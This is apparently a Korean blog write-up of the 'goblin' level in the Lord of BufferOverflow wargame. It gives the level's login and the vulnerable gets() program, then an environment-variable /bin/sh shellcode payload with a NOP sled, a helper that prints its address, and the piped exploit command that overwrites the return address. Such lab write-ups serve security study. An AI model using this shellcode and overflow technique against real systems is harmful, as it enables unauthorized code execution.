login : goblin
password : hacking exposed

/* The Lord of the BOF : The Fellowship of the BOF - goblin - small buffer + stdin */ int main() { char buffer[16]; gets(buffer); printf("%s\n", buffer); }
이전문제와 거의 동일한데 strcpy대신 gets를 쓰고있다,
이전문제와 동일하게 환경변수 이용해서 풀어 줄것이다.
export shell=`python -c 'print"\x90"*50 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90" + "\x90"*50'`

vi addr.c
#include <stdio.h> int main(void) { printf("%x\n", getenv("shell")); return 0; }
구할건 다 구했다.
strcpy와 gets의 차이는 인자로 받는것이 아닌 표준 입력을 받기때문에 `를 사용하지 않고 파이프라인을 이용하여 페이로드를 만들어줘야 된다.

[Linux, Unix]다중명령어(세미콜론(;), 파이프pipe(|), 더블 엔퍼센트 &&, ||)의미,사용법과 차이점
[리눅스 Linux] 리눅스 완전 정복 : 리눅스 목차 안녕하세요 오늘은 다중 명령어에 대해서 알아볼거예요 명렁어가 짧아도 매번 한줄에 한 명령어씩 치면서 연습했었죠? 하지만 리눅스는 한 라인(
jhnyang.tistory.com
(python -c 'print "\x90"*20 + "\x50\xfd\xff\xbf"';cat)|./goblin

'Write-Up > LOB(lord of bufferoverflow)' 카테고리의 다른 글
[Lord Of BufferOverFlow] 6번 wolfman -> darkelf (0) | 2021.02.25 |
---|---|
[Lord Of BufferOverFlow] 5번 orc -> wolfman (0) | 2021.02.25 |
[Lord Of BufferOverFlow] 4번 goblin -> orc (0) | 2021.02.23 |
[Lord Of BufferOverFlow] 2번 gremlin -> cobolt (0) | 2021.02.23 |
[Lord Of BufferOverFlow] 1번 gate -> gremlin (0) | 2021.02.22 |